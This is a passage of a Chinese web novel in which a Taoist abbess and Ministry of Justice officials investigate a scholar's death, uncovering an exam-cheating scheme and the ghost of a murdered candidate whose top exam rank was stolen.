魏志鸿混迹官场十多年,官至户部左侍郎,与周祎仁同级。 此时说出这种话,不就在暗指刑部或因周祎仁的关系,而包庇周平章与慕煜峥吗? 老狐狸一开口,威慑力就是不一样,霎时令周祎仁与薛敏芝等人心内一凛,意识到了此事的严重性。 若姜灿草草便定夺慕煜峥周平章无罪,魏志鸿便可借机上奏大理寺,给他们扣上徇私枉法的帽子,到时情况对周慕两家都十分不利。 阴险,果真是阴险。 片刻后,周祎仁冷静下来,直视着魏志鸿坦荡道:“魏大人放心,周某在刑部任职近十载,深谙盛国法令之严格,绝不会做那徇私枉法之事。 哪怕是上下级或同僚,都不会徇私包庇。若有此状况,您大可去大理寺状告周某。周某定当配合。” 魏志鸿与周祎仁皆定定紧盯着对方,面容一派冷然肃杀,气势旗鼓相当。 良久,魏志鸿先气息一滞,开口问道:“那么方才姜大人审问到慕家公子前后言辞不一致,他答不出来。这又做何解释?” 众人的目光再次集聚在慕煜峥身上。 薛敏芝低头郑重向慕煜峥问,“煜峥,你看着娘的眼睛,老实告诉娘,你有没有害魏举人?” 慕煜峥哭着道:“娘,我真没有...昨晚我与平章确实在楼顶遇到了他,但我们真没害他,是他自己失足掉下楼的……” “还在说谎!”娄婧指着慕煜峥犀利吼道:“庆坤二十多岁的人了,若无外力他会自己失足摔下楼?” “外力……那外力不是我们,而是……而是书院阁中的一个鬼魂……” “哈???” 娄婧与魏志鸿面上的表情愈加气愤无语,“小子,你方才说的话我们还可以当作你傻。如今你说鬼魂杀人…是将我们当傻子啊。” “我说的都是真的!”慕煜峥急切地望向薛敏芝,“娘,你要相信我。平章也可以作证。他也是因被那鬼魂碰到,才会突发高热、病重至此。 并且全书院阁内的举人都可证明,近来确实有一个冤魂,在书院阁内频频现身吓人,闹得众人不得安宁。” 姜灿见他肯说,于是平和地劝服众人落座,同时让慕煜峥放松,慢慢将昨晚之事讲述出来。 “好了慕公子,你现在可将昨晚的来龙去脉细细讲给我们。” 慕煜峥挤挤眼睛,努力回想昨晚的情况,从陪周平章去顶楼的茅厕,讲到发现魏庆坤鬼鬼祟祟躲在楼顶的角落里不知在做什么。 听到此处,魏志鸿与娄婧夫妻俩微微一怔,皆垂下眼眸,眼风下意识地向对方扫去,动作幅度之小,常人几乎无法察觉。尛說Φ紋網 但却未逃过周祎仁、姜灿与徐莞的眼睛。 接下来慕煜峥继续讲述,讲到三人起了冲突,周平章忽然说了一句“你不会是买了试题在此地跟人接头吧?”,那鬼魂就出现了。 此话一出,魏志鸿与娄婧心内又是一紧。 魏志鸿还好,仅微微眯了眯眼。娄婧则不由得捂住胸口,明显呼吸一滞。 少倾,姜灿继续问:“你看清那个鬼魂的模样了吗?” 慕煜峥点点头,“那是一个灰黑色半透明的影子。 国字脸,方下巴,悬胆鼻,颧骨略凸,两颊瘦削,一副坚毅男子的模样。 那鬼魂从我与平章之间飞过,一股寒意霎时钻进我与平章体内,平章才成了那副样子。 之后那鬼魂就朝着魏庆坤飞了过去,口中喊着什么“买卖试题,罪不容诛,拿命来”之类的话,当即向魏庆坤冲去。 魏庆坤被吓得脚下一滑,就从栏杆上翻下去了。” 听到此处,魏志鸿的表情愈加难看,慕煜峥的思路却愈加清晰。 “全程我和平章都未碰过他一根手指。况且我与魏庆坤体型悬殊,就算我与平章合力,也不一定能将他推下去。 二位大人可以检查他尸体上,和我身上有无打斗痕迹,便可知我说的是真是假。” 第237章 237.心中有鬼 “况且我与魏庆坤体型悬殊,就算我与平章合力,也不一定能将他推下去。二位大人可以检查他尸体上,和我身上有无打斗痕迹,便可知我说的是真是假。” 待慕煜峥讲完,审讯室内静了片刻,娄婧找不到可质问之处,于是随口一问: “你说那个鬼魂从你和周大人儿子之间飞过。为何他病成那副模样,你却并无大碍?” 慕煜峥刚想开口,一直未发言的徐莞,终于接口道:“因为他身上戴着我绘制的强力护身符。” 此言一出,所有人的目光皆齐聚在了徐莞身上。 “你又是何人?”娄婧问。 周祎仁替徐莞介绍道:“这位夫人乃永嘉侯府主母,亦是青云观观主,精通道门之术。” 闻言,娄婧与魏志鸿侧头相视一眼,眼中皆有淡淡的惊讶。 原来这位年轻姑娘就是永嘉侯慕怀瑾的夫人,而且还是个观主? “嫂嫂,您不是说给我的符纸是保佑煜峥考试顺利的吗?为何又成了强力护身符?” 薛敏芝与徐莞单独在府中时,皆以“菀菀”相称。但若在外人面前,为了以示尊重,还是以“嫂嫂”相称。 徐莞胸有成竹道:“那天给你这道符纸时,我已算到煜峥此次会染上血光之灾。 因而给你的是强力护身符,可保他人身平安。但为了不让你太过担心,所以当日才说是考试顺利符。” “原来如此。”慕煜峥后知后觉道:“难怪当时那鬼魂从我身边飞过时,我也有冻僵之感。 但不久胸口的符纸便散发出热度,让我恢复了知觉。如今我还能好端端坐在此处,都是托了婶婶的符。多谢婶婶!” 几人一问一答貌似言之凿凿,娄婧却还是不买账。 “照你们所说,我儿子是被鬼魂所害?世上那么多案子,难道都要推给鬼神吗?” 魏志鸿亦道:“姜大人,魏某记得刑部办案一向讲究证据。如今鬼神之说都可作为证据了吗?难道今后刑部断案,都要听术士之言?” 魏志鸿的质疑,算是说到了点子上。 刑部办案向来讲究证据,若是将术士之言当做审判的依据,说出去岂不是遭人耻笑? “魏大人,姜某明白您的意思。您放心,姜某定当依据确凿证据断案。”姜灿道,而后略略望向徐菀道: “只是寻找证据也需要线索。若是能利用道门之术为本案提供些线索,或给出些灵感,也未尝不可。” 娄婧一听又激动道:“你的意思是,还是要听道士的鬼话,以鬼神之说来断案?” “魏夫人!”徐菀突然厉声打断她,眼风扫向娄婧严肃道:“我徐菀捉鬼看相从不打诳语。 其实在进入书院阁那一刻,我便感知到了此地的那只冤魂。它因冤气过重已在书院阁内流连了十年。 您可以不信煜峥的话,但他方才说全书院阁的举人都可作证。您与魏大人若是不信,可在书院阁内随意找位举人问问。 若还是不信,今晚您可留在书院阁过夜。说不定那只冤魂也想见见魏大人与您呢。” 话毕,徐菀带着抹意味深长的笑望向魏志鸿。 魏志鸿在听到徐菀最后那句话时,不禁心口一跳,面上表情突变,嚯地站了起来。 “一派胡言!我等才不信什么鬼神之说。夫人,我们走!” 魏志鸿的突然发作,让娄婧也有些摸不着头脑。 “哎?为何这会儿便要走?我还没让慕家那小子血债血偿呢。” 魏志鸿不耐道:“庆坤的案子姜大人和刑部定会帮我们查清楚。你我留在此地与对方吵架也无济于事。 不如早些回府为庆坤准备后事。庆辉还在府中等着你呢。” 魏庆辉乃魏志鸿的小儿子,今年刚满四岁,正是离不了娘亲怀抱的年岁。 娄婧此时离府已有一个多时辰,小儿子定在府中等急了。 娄婧想到小儿子,便也不再坚持,起身与魏志鸿一同离开审讯室。 可就在他一只脚跨出门槛时,魏志鸿忽然想到了什么,又转了回来。 “姜大人,魏某可否将我儿的遗体带走?” 姜灿将将猜到他会提出这个要求,魏志鸿便说出了口。遂从容摇头: “我大盛国法令规定,凡涉及凶杀之案件,死者尸首一律交由刑部处理。待案件水落石出后,方可归还给其家眷。恕姜某不能答应您的请求。” “什么!”娄婧亦转回身,嗓音高了八度,“你是说,你们可能会将我儿的尸首开膛破肚加以调查?” 娄婧说着说着,语声中不自觉带了些哭腔,眼眶也渐渐发红: “我儿本就死的冤,如今你们还要让他死无全尸...不,我不允许!我儿的尸首在何处?我要带走!” “魏夫人!您不想将令公子的死因查个水落石出吗?”周祎仁起身质问道。 娄婧霎时怔住,周祎仁继续道:“况且令公子从五楼跌落,本就不是全尸了。 刑部的仵作正在为令公子修整仪容。您若是此时去看尸体,怕是会吓到噩梦连连。” 娄婧惊恐地用帕子捂住口鼻,站立不稳后退两步,撞在魏志鸿胸口才被他扶住。 魏志鸿此时亦眉头微蹙,面上尽是警惕与为难。 他明白姜灿所言非虚,若想将死者尸首带走,需自愿放弃调查凶手,并经由多部多层审批才可。 但今日娄婧来此处一闹,摆明了是想查清真凶。若他们突然放弃调查,不是更会引人怀疑吗? 此条路走不通,魏志鸿只好作罢,待回府再想办法。 “魏某明白。那嫌疑人慕公子与周公子……” “魏大人放心。慕公子暂且拘在书院阁中,由刑部专人看管。 周公子因病准许回府养病,刑部会派专人前往周府对其进行看管,绝不会让他踏出周府半步。” 周祎仁忍不住揶揄道:“周某在此,魏大人还怕我儿跑了不成。若我儿跑了,你将我拿去便是。” 此言一出,徐莞与姜灿都忍不住低头弯起了嘴角。 魏志鸿略显尴尬,随后便带着夫人离开了此处。 第238章 238.魏家的盘算 二人走后,周祎仁向姜灿意有所指道:“姜大人,三号院楼顶作为案发现场,需仔细搜查一番。 另外,无论白天黑夜都要派人对楼顶严加看管,莫要让一些偷鸡摸狗之人悄悄溜上去。” 姜灿即刻便明白了他的意思,“多谢周大人提醒,姜某也正有此意。” “好,那我便将平章送回府了。” “嗯,周大人请便。” 二人说罢,周祎仁回身向薛敏芝和慕煜峥道:“弟妹,煜峥这几日还需留在书院阁,只是不能出他的房门。你放心,我们刑部的同僚会多多照顾他的。 煜峥你也莫要害怕。我有预感此案很快便能真相大白。” 二人忙向周祎仁与姜灿道谢。 之后周祎仁又向徐莞请求道:“徐观主,您确实感知到书院阁内的那个鬼魂了吗? 可否请您做场法事请那鬼魂现身,讲清楚昨晚之事?” 徐莞微微颔首,抬手向他伸出五根手指,“五百两。” 周祎仁立马明白了她的意思,“小事一桩,我让刑部这就安排。” 话毕又转头向姜灿喜滋滋道,一副得了便宜的模样。 “徐观主的道法了得,前不久才帮我解决了府中风水问题,有她出手帮忙,此案定能迅速解决。” 而后再次向徐莞问:“不知徐观主何时可做法?” “今夜子时。” “子时啊。”周祎仁拉长着语调思忖道:“看来我得亲自上侯府一趟,向慕老虎说明情况,今夜要征用一下徐观主帮忙了。 那徐观主,弟妹,祎仁先送平章回府,随后再去侯府拜访。” === 从书院阁离开的魏志鸿娄婧夫妇,乘马车向魏府赶去。 在马车上,娄婧再次不解问:“志鸿,你为何突然要走?难道你怕了那个永嘉侯夫人不成?” 魏志鸿靠在马车壁上闭目养神,对娄婧的话恍若未闻。 娄婧见他不说话,便自顾自地问起了另一件事。 “志鸿,你说庆坤昨晚上楼顶,会不会是去寻那个玩意儿去了?” 谁料此问一出,魏志鸿蓦地睁开眼,向娄婧低吼道:“此时提那做甚!回府再说!” 娄婧被他的突然变脸吓了一跳,明白他是真发怒了,于是小声讪讪道:“回府说就回府说,发什么脾气。” 娄婧发现,这几年魏志鸿对她越发没有耐心,甚至敢跟她顶嘴了。 要知二人成婚时,魏志鸿虽已中探花,但娄婧依然嫌弃他出身甘州嘉礼县的小门小户。 若不是爹爹娄贲极力劝说她,她才不肯屈尊嫁给魏志鸿呢。 刚成婚的那两三年,魏志鸿对娄婧可谓关怀备至,甚至颇有些讨好的意味。 但随着魏志鸿的官职逐步高升,他的官威也越来越大,有时甚至会将官威带回府中,对娄婧的态度也大不如前。 娄婧乃前文华殿大学士之女,从小娇生惯养,哪里受的了他如此对待。 若不是看在两人已育有两子一女的份上,娄婧真不想跟他过了。 如今又遇长子暴毙,魏志鸿却是一副不甚伤心的表情,甚至还不顾娄婧的心情对她大呼小叫,真是令她失望至极。 想到此处,娄婧也背过身去不再理魏志鸿,二人一路无话,待回到魏府中二人的寝屋,魏志鸿才道: “庆坤昨晚应该是去取那玩意儿了。但他应该未曾取到,否则早就被刑部那些人发现了。” 娄婧一听即刻面色大变,“啊!这可如何!那玩意儿若是被刑部的人发现,不只是咱俩和庆坤,甚至连我爹和国子监的官员们都会被牵扯进去。” “你说的这些我早就想到了。我会派人找机会去楼顶找找那玩意儿将其销毁。 但姜灿和周祎仁都十分难缠,恐怕会派专人看守在楼顶。如此一来,想要取回那玩意儿就难了。” “哎…”娄婧长叹一声,气馁地滑坐在椅子上,“事情怎会变成如此模样…我的庆坤啊……” 魏志鸿又何尝不伤心担忧。 可如今庆坤已逝,再去伤心难过已无济于事。 他本想借此事扳倒周家和慕家,但谁料这其中似乎还有阴魂作祟。而且那阴魂或许就是当年的…… 魏志鸿甩甩头,将那个恐怖的想法扫出脑海。 如今更为棘手的是,娄贲托他已成为国子监官员的学生,将此次会试试题提前透露给魏庆坤。 若是让刑部发现此事,再上奏圣上,其牵扯之广,不敢想象圣上会如何定夺。 到时如若要牺牲些小卒,牺牲的必定是他魏家。 十多年来,他魏志鸿从甘州嘉礼县的无名小卒,一路走到如今的位置,付出了多少心血,只有他自己清楚。 若是因庆坤之事就让他一夜之间大厦坍塌,魏志鸿绝不甘心。 况且这个大儿子从小被娄婧宠坏了,不学无术、性情暴虐,根本无能担当大任。 从童生试到乡试,都是靠娄贲提前透题才得以通过。 如今又因在会试中为他提前透题,惹出这一连串事件,当初还真不如不要这个儿子! 思及此,魏志鸿心中越发怨怒于娄婧和魏庆坤。 这时,娄婧的情绪逐渐平复,向魏志鸿问:“志鸿,你说那慕家小子说的,书院阁中有冤魂之事,是真的吗?我看他的表情不像是装的。 还有那周家小子也突然暴病,确实像是撞邪了。我们家庆坤,不会真是被鬼魂所害吧……” 闻言,魏志鸿的眉宇又拧了起来,“那位永嘉侯夫人的道术我也有所耳闻。 数月前肖家一事,便是由她解决的。所以她所言,或许是真的。” “啊!”娄婧大吃一惊,“书院阁果真有鬼!” 少倾,她又捂住胸口安慰自己道:“幸好刑部无法依据鬼神之说来断案。庆坤之死,他们必须给我们个交代。” 话到此处,魏府的嬷嬷将小公子魏庆辉抱了进来。娄婧便忙着哄孩子,无暇再同魏志鸿说话了。 魏志鸿望着自己的小儿子,心情才慢慢好转。他已损失了一个大儿子,小儿子与妻女,不能再失去了。 239.掉包试卷 另一边,永嘉侯府内。 周祎仁将周平章送回府中交由秦韶华照看。等周平章喝过汤药睡着后,又马不停蹄来到永嘉侯府。 正巧此时,慕怀瑾与慕怀清忙完了生意上的事,也赶回了侯府,恰好与周祎仁在侯府门口撞见。 “怀瑾怀清,你们终于回来了。”周祎仁道。 慕怀瑾朝他微微点头,“嗯,我与怀清今日去了距京城三十里的州县考察铺子选址。 上午通过联讯符得知菀菀告诉我们的消息。我与怀清便马不停蹄往回赶,此时刚刚下马。” 还不待他说完,慕怀清便急切担忧地拉住周祎仁问:“周大人,我儿子煜峥现下情况如何?是否真与魏家儿子的死有关?” 三人一路往松风苑走去,周祎仁一面安抚着慕怀清,一面将今日上午在书院阁发生之事讲与他们。 待进入松风苑,慕怀瑾与慕怀清已大致了解了魏庆坤一案。 慕怀清听闻慕煜峥暂无大碍,也稍稍放心了些。 这时,薛敏芝与徐菀迎了出来,慕怀灵与朱雀白虎也跟在他们身后。 “大哥二哥,你们终于回来了。”慕怀灵走到近前,向二人略带埋怨道: “煜峥出了那么大的事儿,将我们都急死了。我们未将此事告诉娘。若是娘知道了,还不知会怎样呢。” 薛敏芝望见慕怀清,眼眸顷刻间湿润了,“怀清...” 慕怀清上前几步将她揽入怀中,轻拍着她的背脊,低声安慰: “对不起敏芝,上午没能陪你去看煜峥。如今我回来了,之后煜峥的事便由我来扛。” 徐菀也来到慕怀瑾身前,二人交颈低语,互相关心。 待众人皆平复心情后,慕怀瑾带着众人来到松风苑前厅落座,共同商议此事。 在听到周祎仁推测,魏庆坤许是参与了买卖试题,薛敏芝与慕怀清等人皆倒吸一口冷气。 “买卖试题可是要杀头的大罪,他魏家怎么敢的啊。” “有何不敢?”周祎仁道:“别忘了,魏志鸿的老丈人便是前文华殿大学士娄贲。国子监那些考官几乎都是他的学生。 他随意托一位考官将试题悄悄带给魏庆坤,简直易如反掌。” 慕怀瑾思索着道:“还有,你们可能有所不知,在帮忙解决肖家一事中,我们还知晓了一件天大的秘密。” 随即,慕怀瑾便将肖胜铭当时告知他们的密莘,叙述给了周祎仁等人。 周祎仁听后简直难以置信,“如此说来,那魏志鸿根本没考中探花,是何钦命娄贲帮他掉包了试卷,才助他当上了探花?” “对,正是如此。” “那么那个被掉包的真探花,如今又在何处?” 徐菀从容分析道:“依魏志鸿入官场十余年,依然屹立不倒来看,有两种可能。 其一,那位探花可能并不知晓自己被掉包,以为自己名落孙山,遂从此一蹶不振,回到老家隐姓埋名碌碌一生。 其二,那位探花知晓了此事,前去找魏志鸿理论。但斗不过魏志鸿及其背后的势力,最终被他们谋害,或许已命丧黄泉...” 徐菀的话音落下,前厅中静了片刻,众人皆认同徐菀的推测,并且心中认为,第二种可能性大一些。 “徐观主所言极是。依何钦魏志鸿等人的办事风格来看,那位探花更有可能早已遇害。” 周祎仁认同道,随后又问:“不知那位探花是否投胎。若未投胎,说不定徐观主还能帮忙请那位探花上来问问情况。” 话到此处,徐菀忽然望向他,意味深长地一笑,“今晚或许就能知晓。” 周祎仁顷刻间明白过来,“徐观主您的意思是...书院阁的那个鬼魂,有可能就是那位探花?” 徐菀弯唇含笑点点头,心道孺子可教也。 “什么情况。”慕怀瑾望着他二人你来我往的对话,自己却听得云里雾里,深有种被二人隔绝在外之感,急得他都吃醋了,“周祎仁,给我把话说清楚。”wWW.xszWω㈧.йêt 周祎仁与薛敏芝随即又将上午几人的对话,细细为慕怀瑾与慕怀清讲解一遍,兄弟二人才明白过来。 “原来如此。”慕怀瑾微叹道:“世上竟有如此巧合之事。不过这也都是魏志鸿的报应。” “对。所以今晚我想请徐观主在书院阁作法,请那鬼魂现身问问案发时的情况,同时打听看看他是否就是那位探花。” 周祎仁说到此处,眼风一转向慕怀瑾扫去,“不知怀瑾兄可否同意?” 听到这个问题,慕怀瑾先是睨了一眼徐菀,见徐菀一副势在必行的表情,慕怀瑾在心中哀叹: 这是我同意不同意的事儿吗?小媳妇想去,我还能将她拦住不成? 但在周祎仁及合府兄弟姐妹面前,慕怀瑾还是要作出一番正直且大度的表示。 “咳咳,祎仁兄多虑了。此事关系到煜峥的安危和前途,甚至还会牵扯到我们慕周两家。 哪怕你不提,我也会陪菀菀同去,助你们尽快将此案调查清楚。” 此番话一出,周祎仁立即喜笑颜开,“怀瑾兄果然大度明理。有你陪徐观主同去,我就更放心了。” 慕怀清夫妇与慕怀灵等人听了此话,也向慕怀瑾投去钦佩赞同的目光。 慕怀瑾再次望向徐菀,徐菀正巧也赞赏地望着慕怀瑾,唇边荡漾着幸福依恋的笑。 慕怀瑾心中暗喜,周祎仁这小子做事果然周全,既保全了他的面子,又请动徐菀帮他查案,令每个人心里都无比舒坦。 见已将今晚的法事说定,周祎仁便起身向他们告辞。 “既然大家都无异议,那周某便先行告辞去刑部做准备了。晚间我会在书院阁等候各位。” 周祎仁告辞后正准备离开,走到前厅门口却突然刹住脚步,一个急扭转过身,向徐莞好奇问:“徐观主,周某有个疑问。” 慕家众人皆一脸不解地望着他,徐莞亦不知他要问什么,“周大人请讲。” 周祎仁不好意思地笑道:“就是今日您为平章逼出阴气时,所画符纸不是同往常那样咬破手指,而是用朱砂膏笔画的。这两者之间有什么区别吗?” 第240章 240.请鬼现身 “所画符纸不是同往常那样咬破手指,而是用朱砂膏笔画的。这两者之间有什么区别吗?” 徐莞怔了怔,完全未料到他会问起这个。 慕家众人听后也认真望向徐莞,想听她讲解些道门学问。 谁知,徐莞却理所当然地说:“周大人您多想了,两者并无多大差异。只不过我怕疼,不想每次都咬破手指而已。” 周祎仁:“……”原来真是他想多了… 慕家众人:“……”还以为有什么讲究呢。 朱雀白虎:“……”原来师父也有投机取巧的时候… 不过这招真可以学,用朱砂膏笔可比用手指方便多了。 待众人消化了这个说法,周祎仁这回才真的离开了永嘉侯府。 随后慕怀清夫妇和慕怀灵都回到各自院落,眨眼间便只剩下了慕徐二人,和朱雀白虎。 徐莞打了个哈欠,准备回寝屋睡一会儿。 慕怀瑾叫住她道:“菀菀不准备一下晚上的法事吗?” 徐莞停住脚步,如刚想起来似的,向朱雀招招手道:“朱雀白虎,你们快去准备一下,晚上的法事便交给你们了。” 朱雀白虎指着自己的鼻子,一脸讶然,“我?” “对。为师不是教过你们如何请魂吗?再不济让鬼魂上你们的身总会吧。” 徐莞说罢,走了几步又转过身道:“哦对了,从今往后我接到的法事,你们从旁协助我,都可得一成的报酬。 此次法事周大人承诺供奉香火钱五百两。若你们成功,便可得五十两,明白了吗?” 提到赚钱,朱雀白虎喜不自胜,“明白!徒儿定当认真准备,保证万无一失。” 跟了师父近半年,终于可以开始接生意挣钱了! 但紧接着,徐莞一盆凉水便向他们泼了过去。 “别高兴的太早。你们赚钱之后要首先将前几个月在侯府的吃穿用度都补上,之后挣的钱才是你们自己的。” 朱雀白虎:“!!!” 他们在侯府的吃穿用度还要钱?白虎还以为是包吃住呢! 哎…哪有如此压榨徒儿的师父啊。 是不是侯爷给她出的主意?侯爷果然是奸商啊。 二人还未想罢,徐莞的嗓音便如鬼魅般在耳边响起。 “你们再敢说为师与侯爷的坏话,当心我将你们逐出师门!” “!!!”师父难道还可以听见他们的心声! “你们说呢?”徐莞向他们嫣然一笑,看在朱雀白虎眼中,却恍然有种渗人之感: “我在你们初入侯府时喝的几副汤药里,加了我亲自绘制的心声符。所以你们心里想的什么我都知道。” 朱雀白虎:“!!!” 完了!那不是从前他们在心里说师父的坏话,都被她听见了吗! 徐莞眯起眼笑笑,“你们清楚便好。今后记得要时时刻刻尊师重道哦。” 说罢,向他们眨眨眼,便转身离去。 朱雀与白虎立在原地望着她离开的背影,额上已渗出一层冷汗。 他们的师父好恐怖啊…… 啊不对!我们的师父又美又强!是全天下最好的师父! === 时近子时,月黑风高。 周祎仁姜灿,慕怀瑾徐莞与慕煜峥,以及朱雀白虎和几名刑部官员,皆集聚在书院阁内三号院楼顶的露台上,等待着稍后鬼魂现身。 自今日早晨起,三号院楼顶便被全面封锁,由刑部官员严加看守,任何与案件无关者皆不可上来。 此次请徐莞前来做法,也是周祎仁全权决定的。 同之前云裳坊杨嫂案一样,待案件结束后,他再写案情汇报交由刑部尚书过目。 眼看计时的沙漏时辰已到子时,周祎仁向徐莞道:“徐观主,时辰已到,请开始吧。” 徐莞点点头,从小荷包中取出一手掌大小的瓷瓶,将其中液体翻出一些在手心,而后用手指沾取一些,一一弹入楼顶上所有人眼睛里。 姜灿与几名刑部同僚下意识地闭眼闪了闪,挤着眼睛问:“慕夫人,这是何物?” 慕怀瑾与周祎仁有过经验,立马便明白此物乃牛眼泪。 周祎仁向他们自豪地介绍道:“此物乃牛眼泪。滴入眼睛后,凡人便可看到鬼。” 刑部同僚们闻之,皆发出低低惊呼,面带讶异又微微畏惧的表情,彼此相视几眼。 慕怀瑾补充道:“各位莫怕。有我夫人在此,那只鬼魂绝不会伤害到各位。各位稍后仅需观看并且做记录便可。” 闻言,姜灿与刑部官员们皆放松下来,等待徐菀开始做法。 谁料,徐菀却向后方唤道:“朱雀白虎,开始吧。” “是,师父!” 周祎仁本已摩拳擦掌,等着看徐菀大显身手,结果却听她叫朱雀白虎上。 什么?朱雀白虎? 那徐观主呢? “等等,”周祎仁转身抬手打断,一脸懵圈,“徐观主,不是您做法吗?” “不是啊。”徐菀扬睫笑道:“此次请魂法事极易,让我的两个徒弟做也是一样的。” 一旁的慕怀瑾趁机补刀,“五百两就想请我夫人亲自做法,你未免也太小瞧我夫人了。” “......”周祎仁欲哭无泪。 呜呜呜现在撤回还来得及吗? 周祎仁心痛又肉疼之时,朱雀白虎已上前几步,行至在空旷处布置好的祭台旁。 桌上摆着香烛黄纸与好酒好菜,祭台旁还挂着招魂幡,在黑夜中随风微动。 白虎点燃两只白蜡,朱雀执起一把粗壮的香点燃,插进香炉中。 随后,朱雀执起桃木剑,在祭台前舞了起来。 白虎则拿起一叠黄纸和铜铃,在祭台周围边摇铃,边撒黄纸,口中同时吟唱道: “天地玄黄,道法万千。幽幽薄魂,浮游天地。今逢迷域,寻君解惑。略备薄酒,待君品尝。” 姐弟俩一人舞剑,一人吟唱,不消片刻,楼顶上的风好似大了一些。 又过了一阵,楼顶上的人明显能感觉到周围似乎冷了不少。 且有许多股怪风,自四面八方朝此处吹了过来,将他们冻得缩脖打颤,不停朝四周望去,招魂幡也剧烈摇晃起来。 就在此时,一位刑部官员指着祭台突然叫道:“来了!鬼魂来了!” 第241章 241.被冒名顶替的探花 就在此时,一位刑部官员指着祭台突然叫道:“来了!鬼魂来了!” 众人忙转头望去,但见一半透明的白色影子,自祭台上空飞过,盘旋几圈后便落在祭台旁,伸手抓起祭台上的菜肴往口中猛塞。 随后,又一个绿色的影子飞了过来,如同那白色影子一样,抓起祭台上的酒壶,朝自己口中猛灌。 众人还未回过神来,接二连三又飞来了三四个半透明的影子,皆围在祭台四周,对着桌上的贡品大快朵颐。 刑部众人哪里见过此等情景,皆慌乱惊恐大呼,有的甚至转身想往楼下跑。 姜灿当即一声低吼:“肃静!都给我立在原地别动!再有人跑动或大叫,就给我滚出刑部!” 姜灿一吼,刑部官员们顷刻间便都静了下来,立在原地再也不敢动。 毕竟与鬼魂相比,还是姜灿更可怕一些。 见书院阁的鬼魂都已现身,徐菀细细向那些鬼魂望去。 但见其中有一只灰黑色的魂魄,周身冤气极重。 且他并未像其他魂魄那般,争抢着吃贡品和美酒,而是仅茫然地站着,浅浅吸着香烛气味,仿佛这些美酒美食丝毫引不起他的兴趣。 徐菀柔声向身旁的慕煜峥问,“煜峥,你看看它们其中可有那晚杀害魏庆坤的鬼魂?是不是那个站在香烛边上的灰黑色魂魄?” 慕煜峥紧张地咽下一口口水,努力克服恐惧睁开眼向那些鬼魂望去。 按着徐菀所指的方向,慕煜峥定睛一看,果然认出了那个鬼魂! “就是它!就是那个灰黑色的影子把魏庆坤吓得跌下楼了!” 徐菀即刻向马朱雀使了个眼色,朱雀反应迅速,将准备好的符纸疾速向那个魂魄掷了过去。 符纸接触到魂魄的瞬间,刷的化为一片金色光芒将其包裹。 那只鬼这才反应过来,奋力挣扎却似被那金光束缚,无论如何都无法挣脱。 周遭的其余鬼魂见此,都被吓得四散而逃,顷刻间便仅剩下了那个灰黑色的魂魄。 “你们是何人!为何要抓我!放开我!” 那鬼魂拼命扭动挣扎着,面容化为青面獠牙,想吓走楼顶的这群人。 但徐菀等人什么没见过,淡定走上前去,向该鬼魂道:“在下乃青云观观主徐菀。你昨晚害了一条人命,背负上了因果。今日我便要收了你!” 徐菀说着,亮出自己的伏魔鞭,“啪”得往地上一甩。 那只鬼魂感受到徐菀周身散发出的强大灵力,霎时蔫了,畏惧地向徐菀求饶,“大师饶命!我没有害人命!冤枉啊!” 闻言,徐菀收起攻势,质问道:“你没有害人命?若不是你突然现身,魏举人怎会受到惊吓失足摔下楼致死?” 鬼魂哆嗦着解释道:“我是听到有人说,某人买卖试题,一怒之下才现身查看。 但我并未对那几个举人动手,是那人自己惊慌失措未站稳才摔下楼去的。” 说到此处,那鬼魂停了停,忽然问道:“等等,大师您方才说那举人姓什么?” “姓魏。” “魏?他爹是不是叫魏志鸿?” 魏志鸿这个名字,由这鬼魂口中说出,立时令周祎仁慕怀瑾等人震惊侧目。 “你怎会知晓?”慕怀瑾问。 鬼魂面露愤恨之情,“昨晚我便觉得那位年轻人有几分像魏志鸿,没成想真是他的儿子。” “你是谁?为何会认识魏大人?”姜灿问道。 “魏大人?呵呵,他顶了我的成绩,如今已成大人了啊。”鬼魂说此话时笑得凄苦,又带着几分憎恨与不甘。 周祎仁敏锐捕捉到他话中的含义,追问道:“你说魏大人顶了你的成绩?什么意思?你到底是何人?” “哎...”鬼魂重重叹了一口气,将十余年前之事娓娓道来: 免贵姓汪,名焕清,乃甘州嘉礼县人。 十四年前,我通过会试考中了进士。同年便来到京城参加殿试。就在此地,我认识了同样来自嘉礼县的魏志鸿。 那时的魏志鸿有些沉默寡言,但与我熟识后,表现得十分衷义体恤。我也将其当做知己好友,每日一同复习,互相请教讨论。 殿试结束后,距离放榜还有半个月的时日。 我打算留在京城等候,魏志鸿则表示家中还有妻儿,要回乡等候,待放榜前一日再来。 待他走后,未过几日便传来消息,嘉礼县附近发生山火。 山火蔓延至嘉礼县城,无数百姓在睡梦中未来得及逃生,便被烟尘呛死或烧死,仅仅几日便死伤数百人。 我惦念家中爹娘,急忙赶回家乡,见到的,却只有爹娘的骨灰…… 处理好爹娘的后事,我又马不停蹄赶回京城,只因放榜日就快到了。 到了放榜那日,我忐忑地前往皇榜查看,竟发现自己摘得了探花! 那一日真是我那辈子最高兴的一日。心想爹娘的在天之灵也能安息了。 可仅仅过了一日,当我去国子监报道时却被告知,经核查,我的试卷判卷有误,我根本不是探花,甚至连前三十名都未进! 我登时便懵了!心想殿试这种最高规格的考试,判卷怎会出如此大误差。 我不信!我当即要求查看试卷,我不信自己的名次会那么低。 但国子监的那些官员,说什么都不让我查看试卷,还将我拳打脚踢一顿扔了出去。 我一气之下便去报官。但官府听到我的事,表示此事不是他们的管辖范围,他们一概不管。 待到次日再次放榜,那皇榜上探花的位置,赫然成了魏志鸿!而我则变成了三十多名。 我疯了一样四处打听魏志鸿的下落。终于打听到他已被文华殿大学士娄大人榜下捉婿,请去了娄府。 待他被指派官职后,择日还要将娄大人的女儿嫁与他。 震惊之下,未多想我便前往娄府,寻魏志鸿问个明白。 可见到魏志鸿后,他却同变了一个人似的,装作不认识我,将我赶了出去。 当时我万念俱灰,不明白事情怎会变成这副模样。 于是,我打算第二日去敲响京城中的鸣冤钟,向巡抚大人申冤。 可就在当晚,便有杀手闯入我所住的客栈,将我在睡梦中杀害!” 第242章 242.十四年的夙愿 可就在当晚,便有杀手闯入我所住的客栈,将我在睡梦中杀害! 说到此处,汪焕清的魂魄逐渐激动起来,周身的怨气也越发浓重。 “杀害你的真凶,就是魏志鸿?”徐莞问。 “没错!”汪焕清面带愤恨道:“那杀手将我杀害后装进麻袋,将我的尸首背到京郊一处荒山。 不一会儿,魏志鸿便到了。他冷眼望着几个随从挖坑将我的尸首彻底掩埋,才带着人离开。 那时我将将死去没多久,魂魄之力太弱,只得眼睁睁看着。若是放在此时,我必定亲手手刃了那个道貌岸然的禽兽!” 